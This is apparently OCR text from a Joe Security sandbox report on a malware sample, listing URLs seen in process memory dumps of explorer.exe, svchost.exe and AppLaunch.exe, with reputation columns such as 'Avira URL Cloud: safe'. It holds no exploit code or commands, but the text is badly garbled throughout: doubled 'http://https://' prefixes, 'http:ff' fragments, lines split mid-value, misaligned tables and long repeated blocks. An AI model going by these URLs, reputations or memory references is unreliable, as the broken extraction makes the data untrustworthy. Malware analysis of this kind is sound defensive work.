lorer.exe, 00000005.00000003.375713725.0
000000003B26000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.410951978.0000000003B36000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.367687421
.0000000003B26000.00000004.00000800.0002
0000.00000000.sdmp, cmsys.cmn.5.dr, what-
happened-to-the-old-zxqg-website[1].htm.5.dr

svchost.exe, 00000020.00000002.339302995 false
.000001401B813000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000002
0.00000002.340148688.000001401B83C000.00
000004.00000020.00020000.00000000.sdmp

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxq-website[1].htm.5.dr

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe
what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe
svchost.exe, 00000016.00000002.532432595 false e URL Reputation: safe
.0000018D6C440000.00000004.00000020.0002

0000.00000000.sdmp

svchost.exe, 00000020.00000003.337412785 false
.000001401B861000.00000004.00000020.0002

0000.00000000.sdmp

svchost.exe, 00000020.00000003.313688080 false
.000001401B831000.00000004.00000020.0002

0000.00000000.sdmp
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http://https://zxq.net/wp-
content/uploads/2022/07/Online-Shopping-Tips-
During-Covid-01-150x84.jpeg

http://https://zxq.net/wp-content/plugins/table-of-
contents-plus/screen.min.css?ver=2106
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explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.376094580.0000000003B41000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.476931676
.0000000003B3B000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.375713725.0000000003B26000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.4109519
78.0000000003B36000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.367687421.0000000003B26000
.00000004.00000800.00020000.00000000.sdmp,
cmsys.cmn.5.dr, what-happened-to-the-old-zxqg-we
bsite[1].htm.5.dr
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http://https://zxq.net/wp-
content/uploads/2022/07/What-is-the-Best-Way-to-
Learn-Golang-150x93.png

http://https://zxq.net/?s=

http://https://zxq.net/how-to-find-an-investor-for-your-
business/

http://https://zxq.net/what-happened-to-the-old-zxg-
website/;

http://https://zxq.net/wp-
content/uploads/2022/07/These-Are-The-Injured-You-
May-Suffer-in-a-Bicycle-Acciden

http://https://dynamic.t

http:ifhttps://zxq.net/what-happened-to-the-old-zxg-
website/#webpage

http:ff
https://dev.virtualearth.net/REST/v1/Routes/Transit

http://https://zxq.net/news/entertainment/
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explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

explorer.exe, 00000005.00000003.47693167 false
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.375713725.0000000003B26000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.410951978.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.367687421.0000000003B26000.00000004
.00000800.00020000.00000000.sdmp, cmsys.
cmn.5.dr, what-happened-to-the-old-zxq-website[1].

e Avira URL Cloud: safe

htm.5.dr

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe
explorer.exe, 00000005.00000002.53797311 false e Avira URL Cloud: safe
9.0000000003B35000.00000004.00000800.000

20000.00000000.sdmp

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe
svchost.exe, 00000020.00000003.337301947 false e URL Reputation: safe

.000001401B863000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000002
0.00000003.337483539.000001401B85A000.00
000004.00000020.00020000.00000000.sdmp,
svchost.exe, 00000020.00000003.338015519
.000001401B841000.00000004.00000020.0002
0000.00000000.sdmp

explorer.exe, 00000005.00000003.47693167 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.375713725.0000000003B26000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.410951978.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.367687421.0000000003B26000.00000004
.00000800.00020000.00000000.sdmp, cmsys.
cmn.5.dr, what-happened-to-the-old-zxg-website[1].

htm.5.dr

svchost.exe, 00000020.00000003.337412785 false
.000001401B861000.00000004.00000020.0002

0000.00000000.sdmp

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe
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http://https://zxq.net/wp-includes/wiwmanifest.xml

http://https://zxq.net/wp-
content/uploads/2022/03/follow-us-on-google-news-
banner-black-300x117.png

http://https://zxq.net/wp-content/uploads/2022/07/Best-
Mothers-Day-Gifts-of-2022-for-Every-Mom-01-
150x84.jp
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explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.376094580.0000000003B41000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.476931676
.0000000003B3B000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.375713725.0000000003B26000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.4109519
78.0000000003B36000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.367687421.0000000003B26000
.00000004.00000800.00020000.00000000.sdmp,
cmsys.cmn.5.dr, what-happened-to-the-old-zxq-we
bsite[1].htm.5.dr

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

Reputation

unknown

unknown
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http://https://zxq.net/wp-content/uploads/2022/07/How-
To--1200x714.png

http://https://dynamic.api.tiles.ditu.live.com/odvs/gdv?
pv=1&r=

http://https://zxq.net/wp-
content/uploads/2022/07/Reasons-to-Hire-a-Truck-
Accident-Attorney-01.jpeg

http://https://zxq.net/write-for-us/

http://https://zxq.net/what-is-the-best-way-to-learn-
golang/

http://https://dynamic.api.tiles.ditu.live.com/odvs/gd?
pv=1&r=

http://https://zxq.net/#organization
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explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

svchost.exe, 00000020.00000002.340715628 false
.000001401B85C000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000002
0.00000003.337483539.000001401B85A000.00
000004.00000020.00020000.00000000.sdmp

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe
what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe
svchost.exe, 00000020.00000003.337483539 false
.000001401B85A000.00000004.00000020.0002

0000.00000000.sdmp

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe

Reputation

unknown

high

unknown

unknown

unknown

high

unknown
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Name

http://https://zxq.net/wp-content/themes/smart-
mag/css/icons/fonts/ts-icons.woff2?v2.2

http://https://zxq.net/wp-
content/uploads/2022/03/follow-us-on-google-news-
banner-black.png

http://https://zxq.net/wp-
content/uploads/2022/07/What-is-the-Best-Way-to-
Learn-Golang-1200x747.png

http://https://zxq.net/news/business/
http:ff
https://dev.virtualearth.net/REST/v1/Routes/Driving

http://icanhazip.com4

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

explorer.exe, 00000005.00000003.37571372 false e Avira URL Cloud: safe
5.0000000003B26000.00000004.00000800.000

20000.00000000.sdmp, explorer.exe, 00000

005.00000003.411195559.0000000003B35000.
00000004.00000800.00020000.00000000.sdmp,

cmsys.cmn.5.dr, what-happened-to-the-old-zxg-web

site[1].htm.5.dr

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe

svchost.exe, 00000020.00000003.337412785 false
.000001401B861000.00000004.00000020.0002
0000.00000000.sdmp

AppLaunch.exe, 00000002.00000002.2776658 false e Avira URL Cloud: safe
50.00000000072EE000.00000004.00000800.00

020000.00000000.sdmp

Reputation

unknown

unknown

unknown

unknown

high

unknown
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Name

http:ff
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen
.ashx

http://https://yoast.com/wordpress/plugins/seo/

http://https://zxq.net/wp-content/uploads/2022/07/Best-
Mothers-Day-Gifts-of-2022-for-Every-Mom-01-
300x169.

http://https://zxq.net/wp-content/uploads/2022/07/The-
Future-of-Cryptocurrency-Is-it-Time-to-Get-Your-Crypt

http://https://zxq.net/what-happened-to-the-old-zxg-
website/ne

http://https://zxq.net/what-happened-to-the-old-zxg-
website/L

http://https://zxq.net/wp-
content/uploads/2022/07/Online-Shopping-Tips-
During-Covid-01-1024x576.jpeg

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

svchost.exe, 00000020.00000002.340148688 false
.000001401B83C000.00000004.00000020.0002
0000.00000000.sdmp

explorer.exe, 00000005.00000003.44442802 false
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.414485795.0000000003B51000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.411158230.0000000003B240
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.408331910.000
0000003B24000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000002.537924053.0000000003B20000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.376094580.0
000000003B41000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.476931676.0000000003B3B000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000002.537973119
.0000000003B35000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.374604090.0000000003B22000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.411195559.0000000003B35000
.00000004.00000800.00020000.00000000.sdmp,
cmsys.cmn.5.dr, what-happened-to-the-old-zxq-we
bsite[1].htm.5.dr

Avira URL Cloud:

.

what-happened-to-the-old-zxg-website[1].htm.5.dr false

what-happened-to-the-old-zxg-website[1].htm.5.dr false Avira URL Cloud:

3

Avira URL Cloud:

.

explorer.exe, 00000005.00000002.53797311 false
9.0000000003B35000.00000004.00000800.000
20000.00000000.sdmp

explorer.exe, 00000005.00000002.53797311 false Avira URL Cloud:
9.0000000003B35000.00000004.00000800.000

20000.00000000.sdmp

.

explorer.exe, 00000005.00000003.44442802 false Avira URL Cloud:
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

.

safe

safe

safe

safe

safe

Reputation

high

high

unknown

unknown

unknown

unknown

unknown
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Name
http:ff

https://dev.virtualearth.net/mapcontrol/HumanScaleSer
vices/GetBubbles.ashx?n=

http://https://zxq.net/xmlirpc.php?rsd

http://https://zxq.net/online-shopping-tips-during-covid/
http://https://zxq.net/news/
http://https://zxq.net/?p=187

http://https://dev.ditu.live.com/mapcontrol/logging.ashx

http:ff
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?
pv=1&r=

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

svchost.exe, 00000020.00000003.337643299 false
.000001401B840000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000002
0.00000002.340255237.000001401B842000.00
000004.00000020.00020000.00000000.sdmp,

svchost.exe, 00000020.00000003.338015519
.000001401B841000.00000004.00000020.0002
0000.00000000.sdmp

explorer.exe, 00000005.00000003.44442802 false
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.376094580.0000000003B41000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.476931676
.0000000003B3B000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.375713725.0000000003B26000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.4109519
78.0000000003B36000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.367687421.0000000003B26000
.00000004.00000800.00020000.00000000.sdmp,
cmsys.cmn.5.dr, what-happened-to-the-old-zxq-we
bsite[1].htm.5.dr

e Avira URL Cloud: safe

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe
what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe
explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe

6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.376094580.0000000003B41000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.476931676
.0000000003B3B000.00000004.00000800.0002
